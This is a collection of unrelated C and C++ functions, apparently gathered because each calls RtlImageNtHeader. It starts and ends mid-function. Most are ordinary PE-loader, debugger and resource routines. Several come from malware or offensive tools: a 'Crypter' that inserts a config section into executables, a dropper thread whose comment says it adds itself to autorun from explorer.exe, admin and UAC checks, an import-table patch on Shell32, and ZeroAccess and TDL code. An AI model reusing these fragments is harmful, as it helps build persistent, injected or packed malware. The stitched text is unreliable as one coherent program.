static inline NTSTATUS access_resource( HMODULE hmod, const IMAGE_RESOURCE_DATA_ENTRY *entry, void **ptr, ULONG *size ) #endif { NTSTATUS status; __TRY { ULONG dirsize; if (!RtlImageDirectoryEntryToData( hmod, TRUE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &dirsize )) status = STATUS_RESOURCE_DATA_NOT_FOUND; else { if (ptr) { if (is_data_file_module(hmod)) { HMODULE mod = (HMODULE)((ULONG_PTR)hmod & ~1); *ptr = RtlImageRvaToVa( RtlImageNtHeader(mod), mod, entry->OffsetToData, NULL ); } else *ptr = (char *)hmod + entry->OffsetToData; } if (size) *size = entry->Size; status = STATUS_SUCCESS; } } __EXCEPT_PAGE_FAULT { return GetExceptionCode(); } __ENDTRY; return status; }
/* * @implemented */ BOOL WINAPI FreeLibrary(HINSTANCE hLibModule) { NTSTATUS Status; PIMAGE_NT_HEADERS NtHeaders; if (LDR_IS_DATAFILE(hLibModule)) { // FIXME: This SEH should go inside RtlImageNtHeader instead _SEH2_TRY { /* This is a LOAD_LIBRARY_AS_DATAFILE module, check if it's a valid one */ NtHeaders = RtlImageNtHeader((PVOID)((ULONG_PTR)hLibModule & ~1)); } _SEH2_EXCEPT(EXCEPTION_EXECUTE_HANDLER) { NtHeaders = NULL; } _SEH2_END if (NtHeaders) { /* Unmap view */ Status = NtUnmapViewOfSection(NtCurrentProcess(), (PVOID)((ULONG_PTR)hLibModule & ~1)); /* Unload alternate resource module */ LdrUnloadAlternateResourceModule(hLibModule); } else Status = STATUS_INVALID_IMAGE_FORMAT; } else {
//returns a pointer to the absolute linear address of the export section //of the given module in memory using undocumented api PIMAGE_EXPORT_DIRECTORY GetModuleExportDirectoryAddr(PVOID ModuleBaseAddr) { PIMAGE_NT_HEADERS pHeader = NULL; PIMAGE_DATA_DIRECTORY pDataDirectory = NULL; NTSTATUS ns=STATUS_INVALID_PARAMETER; PIMAGE_EXPORT_DIRECTORY pExportDirectory=NULL; //this is what we return //returns a pointer to the linear address of the IMAGE_NT_HEADERS //structure in memory of the given module using undocumented API pHeader=RtlImageNtHeader(ModuleBaseAddr); //if the IMAGE_NT_HEADERS structure actually exists in the module's address space if (pHeader != NULL) { //the data directory is at a given offset from the optional_header pDataDirectory=pHeader->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //if the virtual address is NOT null and its size is within the export directory structure, //then we consider this a valid address and return the module base addr+this address if (pDataDirectory->VirtualAddress && (pDataDirectory->Size >= sizeof(IMAGE_EXPORT_DIRECTORY))) return (PVOID)((PBYTE)ModuleBaseAddr+(DWORD)pDataDirectory->VirtualAddress); else return NULL; } return NULL; }
ULONG GetImageCodeBase( IN PVOID ImageBase ) /*++ Routine Description: This routine determines the base of the code for this image. Arguments: ImageBase -- Supplies the base of the data mapped image in memory Return Value: Base of the code in this image BUGBUG: Do we need to determine if this field is valid? --*/ { return (RtlImageNtHeader(ImageBase))->OptionalHeader.BaseOfCode; }
/*********************************************************************** * server_init_process_done */ NTSTATUS server_init_process_done(void) { PEB *peb = NtCurrentTeb()->Peb; IMAGE_NT_HEADERS *nt = RtlImageNtHeader( peb->ImageBaseAddress ); NTSTATUS status; /* Install signal handlers; this cannot be done earlier, since we cannot * send exceptions to the debugger before the create process event that * is sent by REQ_INIT_PROCESS_DONE. * We do need the handlers in place by the time the request is over, so * we set them up here. If we segfault between here and the server call * something is very wrong... */ signal_init_process(); /* Signal the parent process to continue */ SERVER_START_REQ( init_process_done ) { req->module = wine_server_client_ptr( peb->ImageBaseAddress ); #ifdef __i386__ req->ldt_copy = wine_server_client_ptr( &wine_ldt_copy ); #endif req->entry = wine_server_client_ptr( (char *)peb->ImageBaseAddress + nt->OptionalHeader.AddressOfEntryPoint ); req->gui = (nt->OptionalHeader.Subsystem != IMAGE_SUBSYSTEM_WINDOWS_CUI); status = wine_server_call( req ); } SERVER_END_REQ; return status; }
/* call the driver init entry point */ static NTSTATUS init_driver( HMODULE module, UNICODE_STRING *keyname ) { unsigned int i; NTSTATUS status; const IMAGE_NT_HEADERS *nt = RtlImageNtHeader( module ); if (!nt->OptionalHeader.AddressOfEntryPoint) return STATUS_SUCCESS; driver_obj.Size = sizeof(driver_obj); driver_obj.DriverSection = find_ldr_module( module ); driver_obj.DriverInit = (PDRIVER_INITIALIZE)((char *)module + nt->OptionalHeader.AddressOfEntryPoint); driver_obj.DriverExtension = &driver_extension; driver_extension.DriverObject = &driver_obj; driver_extension.ServiceKeyName = *keyname; if (WINE_TRACE_ON(relay)) WINE_DPRINTF( "%04x:Call driver init %p (obj=%p,str=%s)\n", GetCurrentThreadId(), driver_obj.DriverInit, &driver_obj, wine_dbgstr_w(keyname->Buffer) ); status = driver_obj.DriverInit( &driver_obj, keyname ); if (WINE_TRACE_ON(relay)) WINE_DPRINTF( "%04x:Ret driver init %p (obj=%p,str=%s) retval=%08x\n", GetCurrentThreadId(), driver_obj.DriverInit, &driver_obj, wine_dbgstr_w(keyname->Buffer), status ); WINE_TRACE( "init done for %s obj %p\n", wine_dbgstr_w(driver_name), &driver_obj ); WINE_TRACE( "- DriverInit = %p\n", driver_obj.DriverInit ); WINE_TRACE( "- DriverStartIo = %p\n", driver_obj.DriverStartIo ); WINE_TRACE( "- DriverUnload = %p\n", driver_obj.DriverUnload ); for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) WINE_TRACE( "- MajorFunction[%d] = %p\n", i, driver_obj.MajorFunction[i] ); return status; }
BOOL UtiSetFileDllFlag(LPCSTR lpPath) { BOOL bRet = FALSE; DWORD dwSize; PVOID pMap; PIMAGE_NT_HEADERS pNtHeader; DWORD HeaderSum, CheckSum; pMap = UtiMapFile(lpPath, GENERIC_WRITE|GENERIC_READ, FILE_FLAG_WRITE_THROUGH, PAGE_READWRITE, FILE_MAP_WRITE|FILE_MAP_READ, &dwSize); if (pMap) { pNtHeader = (PIMAGE_NT_HEADERS)RtlImageNtHeader(pMap); if (pNtHeader) { pNtHeader->FileHeader.Characteristics |= IMAGE_FILE_DLL; bRet = (BOOL)CheckSumMappedFile(pMap, dwSize, &HeaderSum, &CheckSum); if (bRet) pNtHeader->OptionalHeader.CheckSum = CheckSum; } FlushViewOfFile(pMap, dwSize); UnmapViewOfFile(pMap); } return bRet; }
static NTSTATUS LdrpAccessResource( PVOID BaseAddress, IMAGE_RESOURCE_DATA_ENTRY *entry, void **ptr, ULONG *size ) #endif { NTSTATUS status = STATUS_SUCCESS; _SEH2_TRY { ULONG dirsize; if (!RtlImageDirectoryEntryToData( BaseAddress, TRUE, IMAGE_DIRECTORY_ENTRY_RESOURCE, &dirsize )) status = STATUS_RESOURCE_DATA_NOT_FOUND; else { if (ptr) { if (is_data_file_module(BaseAddress)) { PVOID mod = (PVOID)((ULONG_PTR)BaseAddress & ~1); *ptr = RtlImageRvaToVa( RtlImageNtHeader(mod), mod, entry->OffsetToData, NULL ); } else *ptr = (char *)BaseAddress + entry->OffsetToData; } if (size) *size = entry->Size; } } _SEH2_EXCEPT(page_fault(_SEH2_GetExceptionCode())) { status = _SEH2_GetExceptionCode(); } _SEH2_END; return status; }
/* * SfcVerifyFile * * Purpose: * * Verify file to be legit ZeroAccess signed binary. * */ BOOL SfcVerifyFile( _In_ HCRYPTPROV hProv, _In_ HCRYPTKEY hKey, _In_ MD5_CTX *ctx, _In_ PBYTE Image, _In_ DWORD ImageSize ) { HCRYPTHASH lh_hash = 0; ULONG CRC, SignSize = 0; BYTE e_sign[128]; PBYTE p_resource_sign; PIMAGE_NT_HEADERS32 phdr; BOOL bResult = FALSE; LDR_RESOURCE_INFO resInfo; phdr = (PIMAGE_NT_HEADERS32)RtlImageNtHeader(Image); while (phdr != NULL) { resInfo.Type = (ULONG_PTR)RT_RCDATA; //type resInfo.Name = 1; //id resInfo.Lang = 0; //lang p_resource_sign = SfLdrQueryResourceDataEx(Image, &resInfo, &SignSize); if (p_resource_sign == NULL) break; if (SignSize != 128) break; if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &lh_hash)) break; CRC = phdr->OptionalHeader.CheckSum; memcpy(e_sign, p_resource_sign, sizeof(e_sign)); memset(p_resource_sign, 0, sizeof(e_sign)); phdr->OptionalHeader.CheckSum = 0; MD5Update(ctx, Image, ImageSize); phdr->OptionalHeader.CheckSum = CRC; memcpy(p_resource_sign, e_sign, sizeof(e_sign)); MD5Final(ctx); if (!CryptSetHashParam(lh_hash, HP_HASHVAL, (const BYTE *)&ctx->digest, 0)) { CryptDestroyHash(lh_hash); break; } bResult = CryptVerifySignatureW(lh_hash, (const BYTE *)&e_sign, sizeof(e_sign), hKey, 0, 0); CryptDestroyHash(lh_hash); break; } return bResult; }
PVOID RvaToSeekAddress( IN PVOID Rva, IN PVOID ImageBase ) /*++ Routine Description: This routine converts a relative virtual address to a seek address Arguments: Rva -- Supplies the relative virtual address ImageBase -- Supplies the base of the image Return Value: Returns the seek address of the specified Rva --*/ { ULONG i; ULONG NumberOfSections; PIMAGE_SECTION_HEADER ImageSection; PVOID SeekAddress; // // Form address of section headers // (PIMAGE_NT_HEADERS)ImageSection = RtlImageNtHeader(ImageBase); NumberOfSections = ((PIMAGE_NT_HEADERS)ImageSection)->FileHeader.NumberOfSections; ImageSection = (PVOID)((ULONG)ImageSection + sizeof(ULONG) + sizeof(IMAGE_FILE_HEADER) + ((PIMAGE_NT_HEADERS)ImageSection)->FileHeader.SizeOfOptionalHeader); // // Find the section containing this rva // SeekAddress = NULL; for (i = 0; i < NumberOfSections; i++, ImageSection++) { if ((Rva >= (PVOID)ImageSection->VirtualAddress) && (Rva < (PVOID)(ImageSection->VirtualAddress + ImageSection->SizeOfRawData)) ) { SeekAddress = (PVOID)((ULONG)Rva - ImageSection->VirtualAddress + ImageSection->PointerToRawData); break; } } return SeekAddress; }
/****************************************************************** * pe_load_native_module * */ struct module* pe_load_native_module(struct process* pcs, const WCHAR* name, HANDLE hFile, DWORD base, DWORD size) { struct module* module = NULL; BOOL opened = FALSE; HANDLE hMap; WCHAR loaded_name[MAX_PATH]; loaded_name[0] = '\0'; if (!hFile) { assert(name); if ((hFile = FindExecutableImageExW(name, pcs->search_path, loaded_name, NULL, NULL)) == NULL) return NULL; opened = TRUE; } else if (name) strcpyW(loaded_name, name); else if (dbghelp_options & SYMOPT_DEFERRED_LOADS) FIXME("Trouble ahead (no module name passed in deferred mode)\n"); if ((hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL) { void* mapping; if ((mapping = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL) { IMAGE_NT_HEADERS* nth = RtlImageNtHeader(mapping); if (nth) { if (!base) base = nth->OptionalHeader.ImageBase; if (!size) size = nth->OptionalHeader.SizeOfImage; module = module_new(pcs, loaded_name, DMT_PE, FALSE, base, size, nth->FileHeader.TimeDateStamp, nth->OptionalHeader.CheckSum); if (module) { if (dbghelp_options & SYMOPT_DEFERRED_LOADS) module->module.SymType = SymDeferred; else pe_load_debug_info(pcs, module); } else ERR("could not load the module '%s'\n", debugstr_w(loaded_name)); } UnmapViewOfFile(mapping); } CloseHandle(hMap); } if (opened) CloseHandle(hFile); return module; }
DWORD Crypter::freeSpaceInHeader(PVOID pvPEBase){ PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvPEBase); if (pNtHeaders) { PIMAGE_SECTION_HEADER pFirstSection = IMAGE_FIRST_SECTION(pNtHeaders); return (pFirstSection->PointerToRawData - ((DWORD)pFirstSection - (DWORD)pvPEBase) - (pNtHeaders->FileHeader.NumberOfSections * IMAGE_SIZEOF_SECTION_HEADER)); } return 0; }
VOID GetStaticInformation() { MEMORY_BASIC_INFORMATION pMemInfo; VirtualQuery(GetStaticInformation,&pMemInfo,sizeof(pMemInfo)); g_pvImageBase = pMemInfo.AllocationBase; g_dwImageSize = RtlImageNtHeader(pMemInfo.AllocationBase)->OptionalHeader.SizeOfImage; g_bAdmin = CheckAdmin(); g_bUAC = CheckUAC(); }
static void* pe_map_full(struct image_file_map* fmap, IMAGE_NT_HEADERS** nth) { if (!fmap->u.pe.full_map) { fmap->u.pe.full_map = MapViewOfFile(fmap->u.pe.hMap, FILE_MAP_READ, 0, 0, 0); } if (fmap->u.pe.full_map) { if (nth) *nth = RtlImageNtHeader(fmap->u.pe.full_map); fmap->u.pe.full_count++; return fmap->u.pe.full_map; } return IMAGE_NO_MAP; }
//move to zacrypto.c //@@implemented in harusame VOID SfcZAVerifyFile( HCRYPTPROV hProv, HCRYPTKEY hKey, MD5_CTX *ctx, PBYTE Image, DWORD ImageSize ) { HCRYPTHASH lh_hash = 0; ULONG CRC, SignSize = 0; BYTE e_sign[128]; PBYTE p_resource_sign; PIMAGE_NT_HEADERS32 phdr; phdr = (PIMAGE_NT_HEADERS32)RtlImageNtHeader(Image); while (phdr != NULL) { p_resource_sign = SfuQueryResourceData(3, Image, &SignSize); if (p_resource_sign == NULL) break; if (SignSize != 128) break; if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &lh_hash)) break; CRC = phdr->OptionalHeader.CheckSum; memcpy(e_sign, p_resource_sign, sizeof(e_sign)); memset(p_resource_sign, 0, sizeof(e_sign)); phdr->OptionalHeader.CheckSum = 0; MD5Update(ctx, Image, ImageSize); phdr->OptionalHeader.CheckSum = CRC; memcpy(p_resource_sign, e_sign, sizeof(e_sign)); MD5Final(ctx); if (!CryptSetHashParam(lh_hash, HP_HASHVAL, (const BYTE *)&ctx->digest, 0)) { CryptDestroyHash(lh_hash); break; } CryptVerifySignatureW(lh_hash, (const BYTE *)&e_sign, sizeof(e_sign), hKey, 0, 0); break; } }
/*********************************************************************** * CheckSumMappedFile (IMAGEHLP.@) */ PIMAGE_NT_HEADERS WINAPI CheckSumMappedFile( LPVOID BaseAddress, DWORD FileLength, LPDWORD HeaderSum, LPDWORD CheckSum) { PIMAGE_NT_HEADERS Header; DWORD CalcSum; DWORD HdrSum; FIXME("(%p, %ld, %p, %p): stub\n", BaseAddress, FileLength, HeaderSum, CheckSum ); CalcSum = (DWORD)CalcCheckSum(0, BaseAddress, (FileLength + 1) / sizeof(WORD)); Header = RtlImageNtHeader(BaseAddress); HdrSum = Header->OptionalHeader.CheckSum; /* Subtract image checksum from calculated checksum. */ /* fix low word of checksum */ if (LOWORD(CalcSum) >= LOWORD(HdrSum)) { CalcSum -= LOWORD(HdrSum); } else { CalcSum = ((LOWORD(CalcSum) - LOWORD(HdrSum)) & 0xFFFF) - 1; } /* fix high word of checksum */ if (LOWORD(CalcSum) >= HIWORD(HdrSum)) { CalcSum -= HIWORD(HdrSum); } else { CalcSum = ((LOWORD(CalcSum) - HIWORD(HdrSum)) & 0xFFFF) - 1; } /* add file length */ CalcSum += FileLength; *CheckSum = CalcSum; *HeaderSum = Header->OptionalHeader.CheckSum; return Header; }
BOOLEAN WINAPI CallPerInstanceInitFunctions ( _In_ PSVCHOST_OPTIONS pOptions ) { PIMAGE_NT_HEADERS pNtHeaders; BOOLEAN bResult; /* Is COM required for this host? */ if (pOptions->CoInitializeSecurityParam != 0) { /* Yes, initialize COM security and parameters */ bResult = InitializeSecurity(pOptions->CoInitializeSecurityParam, pOptions->AuthenticationLevel, pOptions->ImpersonationLevel, pOptions->AuthenticationCapabilities); if (bResult != TRUE) return FALSE; } /* Do we have a custom RPC stack size? */ if (pOptions->DefaultRpcStackSize != 0) { /* Yes, go set it */ RpcMgmtSetServerStackSize(pOptions->DefaultRpcStackSize << 10); } else { /* Nope, get the NT headers from the image */ pNtHeaders = RtlImageNtHeader(NtCurrentPeb()->ImageBaseAddress); if (pNtHeaders) { /* And just use whatever the default thread stack is */ RpcMgmtSetServerStackSize(pNtHeaders->OptionalHeader.SizeOfStackCommit); } } /* Is this host holding critical services? */ if (pOptions->SystemCritical != FALSE) { /* Mark the process as critical if so */ RtlSetProcessIsCritical(TRUE, NULL, TRUE); } /* All done */ return TRUE; }
/* * TDLRelocImage * * Purpose: * * Process image relocs. * */ void TDLRelocImage( ULONG_PTR Image, ULONG_PTR NewImageBase ) { PIMAGE_OPTIONAL_HEADER popth; PIMAGE_BASE_RELOCATION rel; DWORD_PTR delta; LPWORD chains; DWORD c, p, rsz; popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader; if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) if (popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) { rel = (PIMAGE_BASE_RELOCATION)((PBYTE)Image + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; delta = (DWORD_PTR)NewImageBase - popth->ImageBase; c = 0; while (c < rsz) { p = sizeof(IMAGE_BASE_RELOCATION); chains = (LPWORD)((PBYTE)rel + p); while (p < rel->SizeOfBlock) { switch (*chains >> 12) { case IMAGE_REL_BASED_HIGHLOW: *(LPDWORD)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += (DWORD)delta; break; case IMAGE_REL_BASED_DIR64: *(PULONGLONG)((ULONG_PTR)Image + rel->VirtualAddress + (*chains & 0x0fff)) += delta; break; } chains++; p += sizeof(WORD); } c += rel->SizeOfBlock; rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock); } }
/*********************************************************************** * ImageDirectoryEntryToDataEx (DBGHELP.@) * * Search for specified directory in PE image * * PARAMS * * base [in] Image base address * image [in] TRUE - image has been loaded by loader, FALSE - raw file image * dir [in] Target directory index * size [out] Receives directory size * section [out] Receives pointer to section header of section containing directory data * * RETURNS * Success: pointer to directory data * Failure: NULL * */ PVOID WINAPI ImageDirectoryEntryToDataEx( PVOID base, BOOLEAN image, USHORT dir, PULONG size, PIMAGE_SECTION_HEADER *section ) { const IMAGE_NT_HEADERS *nt; DWORD addr; *size = 0; if (section) *section = NULL; if (!(nt = RtlImageNtHeader( base ))) return NULL; if (dir >= nt->OptionalHeader.NumberOfRvaAndSizes) return NULL; if (!(addr = nt->OptionalHeader.DataDirectory[dir].VirtualAddress)) return NULL; *size = nt->OptionalHeader.DataDirectory[dir].Size; if (image || addr < nt->OptionalHeader.SizeOfHeaders) return (char *)base + addr; return RtlImageRvaToVa( nt, base, addr, section ); }
PIMAGE_SECTION_HEADER InsertSectionHeader(PVOID pvPEBase,LPCSTR lpName,DWORD dwVirtualSize,DWORD dwCharacteristics,PDWORD pdwSize) { if (strlen(lpName) > 7) { return NULL; } if (FreeSpaceInHeader(pvPEBase) < IMAGE_SIZEOF_SECTION_HEADER) { return NULL; } PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvPEBase); if (!pNtHeaders) { return NULL; } DWORD dwSizeOfRawData = ALIGN_UP(dwVirtualSize,pNtHeaders->OptionalHeader.FileAlignment); dwVirtualSize = ALIGN_UP(dwVirtualSize,pNtHeaders->OptionalHeader.SectionAlignment); PIMAGE_SECTION_HEADER pNewSection = (PIMAGE_SECTION_HEADER)malloc(IMAGE_SIZEOF_SECTION_HEADER); if (!pNewSection) { return NULL; } memcpy((PVOID)(&pNewSection->Name),(PVOID)lpName,strlen(lpName)); pNewSection->Characteristics = dwCharacteristics; pNewSection->Misc.VirtualSize = dwVirtualSize; pNewSection->SizeOfRawData = dwSizeOfRawData; PIMAGE_SECTION_HEADER pVirtualLastSection = GetVirtualyLastSectionHeader(pNtHeaders); pNewSection->VirtualAddress = pVirtualLastSection->VirtualAddress + ALIGN_UP(pVirtualLastSection->Misc.VirtualSize,pNtHeaders->OptionalHeader.SectionAlignment); if (dwSizeOfRawData) { PIMAGE_SECTION_HEADER pLastSection = GetPhysicalyLastSectionHeader(pNtHeaders); pNewSection->PointerToRawData = pLastSection->PointerToRawData + ALIGN_UP(pLastSection->SizeOfRawData,pNtHeaders->OptionalHeader.FileAlignment); } *pdwSize = dwVirtualSize; return pNewSection; }
BOOL Crypter::insertSectionConfigInPE(PVOID pvPEBase,DWORD dwPESize,PVOID pvData,DWORD dwDataSize,PVOID *ppvNewPE,DWORD *pdwNewPESize){ BOOL bRet = FALSE; PIMAGE_SECTION_HEADER pNewSection; DWORD dwSize; if (pNewSection = Crypter::insertSectionHeader( pvPEBase, Crypter::section, dwDataSize, IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ,&dwSize)){ PVOID pvNewPE; DWORD dwNewPESize = pNewSection->PointerToRawData + pNewSection->SizeOfRawData; if (pvNewPE = malloc(dwNewPESize)){ memcpy(pvNewPE, pvPEBase, dwPESize); PIMAGE_NT_HEADERS pNtHeaders = RtlImageNtHeader(pvNewPE); ++(pNtHeaders->FileHeader.NumberOfSections); PIMAGE_SECTION_HEADER pVirtualLastSection = Crypter::getVirtualyLastSectionHeader(pNtHeaders); pVirtualLastSection[0] = *pNewSection; pNtHeaders->OptionalHeader.SizeOfImage += dwSize; memcpy((PVOID)((DWORD)pvNewPE + pNewSection->PointerToRawData),pvData,dwDataSize); DWORD dwHeaderSum, dwCheckSum; if (CheckSumMappedFile(pvNewPE,dwNewPESize,&dwHeaderSum,&dwCheckSum)){ pNtHeaders->OptionalHeader.CheckSum = dwCheckSum; *ppvNewPE = pvNewPE; *pdwNewPESize = dwNewPESize; bRet = TRUE; } if (!bRet) free(pvNewPE); } else { MYPRINTF(" malloc(dwNewPESize)\n"); } free(pNewSection); } else { MYPRINTF("!insertSectionHeader\n"); } return bRet; }
DWORD Drop::InjectStartThread(PVOID Context) { OutputDebugStringA("fsdsad"); PCHAR CurrentProcess = PathFindFileName(Drop::CurrentModulePath); DbgMsg(__FUNCTION__"(): inject '%s' (x%s) !!!\n", CurrentProcess, RtlImageNtHeader(Drop::CurrentImageBase)->FileHeader.Machine == IMAGE_FILE_MACHINE_AMD64 ? "64" : "32"); Config::ReadConfig(); // Если мы эксплорер и это первый запуск наш в этой системе записываем себя в авторан и все дела if (!lstrcmpi(CurrentProcess, "explorer.exe") && Utils::CreateCheckMutex(DROP_EXP_MUTEX_ID, Drop::GetMachineGuid())) { Protect::StartProtect(); Utils::ThreadCreate(Server::ServerLoopThread, NULL, NULL); } return 0; }
PVOID ProbeInvokeCreateProcessAddress() { PVOID Shell32, Shell32CreateProcessW, CreateProcessW; PLDR_MODULE Shell32Module, MainModule; SHELLEXECUTEINFOW ExecuteInfo; PIMAGE_NT_HEADERS NtHeaders; Shell32 = Ldr::LoadDll(L"Shell32.dll"); Shell32CreateProcessW = PtrAdd(Shell32, IATLookupRoutineRVAByHashNoFix(Shell32, KERNEL32_CreateProcessW)); MainModule = FindLdrModuleByHandle(nullptr); RtlDuplicateUnicodeString(RTL_DUPSTR_ADD_NULL, &MainModule->FullDllName, &ProbeApplicationName); RtlInitUnicodeString(&ProbeCommandLine, L"ML_PROBE_APPLICATION_COMMAMD_LINE"); ZeroMemory(&ExecuteInfo, sizeof(ExecuteInfo)); ExecuteInfo.cbSize = sizeof(ExecuteInfo); ExecuteInfo.fMask = SEE_MASK_NOASYNC | SEE_MASK_FLAG_NO_UI; ExecuteInfo.lpVerb = L"open"; ExecuteInfo.lpFile = ProbeApplicationName.Buffer; ExecuteInfo.lpParameters = ProbeCommandLine.Buffer; ExecuteInfo.lpDirectory = ProbeApplicationName.Buffer; ExecuteInfo.nShow = SW_SHOW; *(PVOID *)&Shell32CreateProcessWIAT = Shell32CreateProcessW; *(PVOID *)&Shell32CreateProcessWPtr = *(PVOID *)Shell32CreateProcessWIAT; CreateProcessW = ProbeInvokeCreateProcessW; WriteProtectMemory(CurrentProcess, Shell32CreateProcessW, &CreateProcessW, sizeof(CreateProcessW)); ShellExecuteExW(&ExecuteInfo); WriteProtectMemory(CurrentProcess, Shell32CreateProcessW, &Shell32CreateProcessWPtr, sizeof(Shell32CreateProcessWPtr)); RtlFreeUnicodeString(&ProbeApplicationName); NtHeaders = RtlImageNtHeader(Shell32); if (InvokeReturnAddress < Shell32 || InvokeReturnAddress > PtrAdd(Shell32, NtHeaders->OptionalHeader.SizeOfImage)) return nullptr; return InvokeReturnAddress; }
PVOID NTAPI IntVideoPortImageDirectoryEntryToData( PVOID BaseAddress, ULONG Directory) { PIMAGE_NT_HEADERS NtHeader; ULONG Va; NtHeader = RtlImageNtHeader(BaseAddress); if (NtHeader == NULL) return NULL; if (Directory >= NtHeader->OptionalHeader.NumberOfRvaAndSizes) return NULL; Va = NtHeader->OptionalHeader.DataDirectory[Directory].VirtualAddress; if (Va == 0) return NULL; return (PVOID)((ULONG_PTR)BaseAddress + Va); }
/*********************************************************************** * KERNEL process initialisation routine */ static BOOL process_attach( HMODULE module ) { RTL_USER_PROCESS_PARAMETERS *params = NtCurrentTeb()->Peb->ProcessParameters; /* Setup registry locale information */ LOCALE_InitRegistry(); /* Setup computer name */ COMPUTERNAME_Init(); CONSOLE_Init(params); /* copy process information from ntdll */ ENV_CopyStartupInformation(); if (!(GetVersion() & 0x80000000)) { /* Securom checks for this one when version is NT */ set_entry_point( module, "FT_Thunk", 0 ); } else LoadLibraryA( "krnl386.exe16" ); /* finish the process initialisation for console bits, if needed */ __wine_set_signal_handler(SIGINT, CONSOLE_HandleCtrlC); if (params->ConsoleHandle == KERNEL32_CONSOLE_ALLOC) { HMODULE mod = GetModuleHandleA(0); if (RtlImageNtHeader(mod)->OptionalHeader.Subsystem == IMAGE_SUBSYSTEM_WINDOWS_CUI) AllocConsole(); } /* else TODO for DETACHED_PROCESS: * 1/ inherit console + handles * 2/ create std handles, if handles are not inherited * TBD when not using wineserver handles for console handles */ return TRUE; }
HHOOK SetWindowsHookExAW( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadID, DWORD dwFlags) { WCHAR pwszLibFileName[MAX_PATH]; /* * If we're passing an hmod, we need to grab the file name of the * module while we're still on the client since module handles * are NOT global. */ if (hmod != NULL) { if (GetModuleFileNameW(hmod, pwszLibFileName, sizeof(pwszLibFileName)/sizeof(TCHAR)) == 0) { /* * hmod is bogus - return NULL. */ return NULL; } #ifdef WX86 try { if (RtlImageNtHeader(hmod)->FileHeader.Machine == IMAGE_FILE_MACHINE_I386) { dwFlags |= HF_WX86KNOWNDLL; } } except (W32ExceptionHandler(FALSE, RIP_WARNING)) { return NULL; } #endif } return _SetWindowsHookEx(hmod, (hmod == NULL) ? NULL : pwszLibFileName, dwThreadID, idHook, (PROC)lpfn, dwFlags); }
/****************************************************************** * pe_load_debug_info * */ BOOL pe_load_debug_info(const struct process* pcs, struct module* module) { BOOL ret = FALSE; HANDLE hFile; HANDLE hMap; void* mapping; IMAGE_NT_HEADERS* nth; hFile = CreateFileW(module->module.LoadedImageName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) return ret; if ((hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != 0) { if ((mapping = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL) { nth = RtlImageNtHeader(mapping); if (!(dbghelp_options & SYMOPT_PUBLICS_ONLY)) { ret = pe_load_stabs(pcs, module, mapping, nth) || pe_load_msc_debug_info(pcs, module, mapping, nth); /* if we still have no debug info (we could only get SymExport at this * point), then do the SymExport except if we have an ELF container, * in which case we'll rely on the export's on the ELF side */ } /* FIXME shouldn't we check that? if (!module_get_debug(pcs, module))l */ if (pe_load_export_debug_info(pcs, module, mapping, nth) && !ret) ret = TRUE; UnmapViewOfFile(mapping); } CloseHandle(hMap); } CloseHandle(hFile); return ret; }
static NTSTATUS BasepLoadLibraryAsDatafile(PWSTR Path, LPCWSTR Name, HMODULE *hModule) { WCHAR FilenameW[MAX_PATH]; HANDLE hFile = INVALID_HANDLE_VALUE; HANDLE hMapping; NTSTATUS Status; PVOID lpBaseAddress = NULL; SIZE_T ViewSize = 0; //PUNICODE_STRING OriginalName; //UNICODE_STRING dotDLL = RTL_CONSTANT_STRING(L".DLL"); /* Zero out handle value */ *hModule = 0; DPRINT("BasepLoadLibraryAsDatafile(%S %S %p)\n", Path, Name, hModule); /*Status = RtlDosApplyFileIsolationRedirection_Ustr(TRUE, Name, &dotDLL, RedirName, RedirName2, &OriginalName2, NULL, NULL, NULL);*/ /* Try to search for it */ if (!SearchPathW(Path, Name, L".DLL", sizeof(FilenameW) / sizeof(FilenameW[0]), FilenameW, NULL)) { /* Return last status value directly */ return NtCurrentTeb()->LastStatusValue; } /* Open this file we found */ hFile = CreateFileW(FilenameW, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0); /* If opening failed - return last status value */ if (hFile == INVALID_HANDLE_VALUE) return NtCurrentTeb()->LastStatusValue; /* Create file mapping */ hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL); /* Close the file handle */ CloseHandle(hFile); /* If creating file mapping failed - return last status value */ if (!hMapping) return NtCurrentTeb()->LastStatusValue; /* Map view of section */ Status = NtMapViewOfSection(hMapping, NtCurrentProcess(), &lpBaseAddress, 0, 0, 0, &ViewSize, ViewShare, 0, PAGE_READONLY); /* Close handle to the section */ CloseHandle(hMapping); /* If mapping view of section failed - return last status value */ if (!NT_SUCCESS(Status)) return NtCurrentTeb()->LastStatusValue; /* Make sure it's a valid PE file */ if (!RtlImageNtHeader(lpBaseAddress)) { /* Unmap the view and return failure status */ UnmapViewOfFile(lpBaseAddress); return STATUS_INVALID_IMAGE_FORMAT; } /* Set low bit of handle to indicate datafile module */ *hModule = (HMODULE)((ULONG_PTR)lpBaseAddress | 1); /* Load alternate resource module */ //LdrLoadAlternateResourceModule(*hModule, FilenameW); 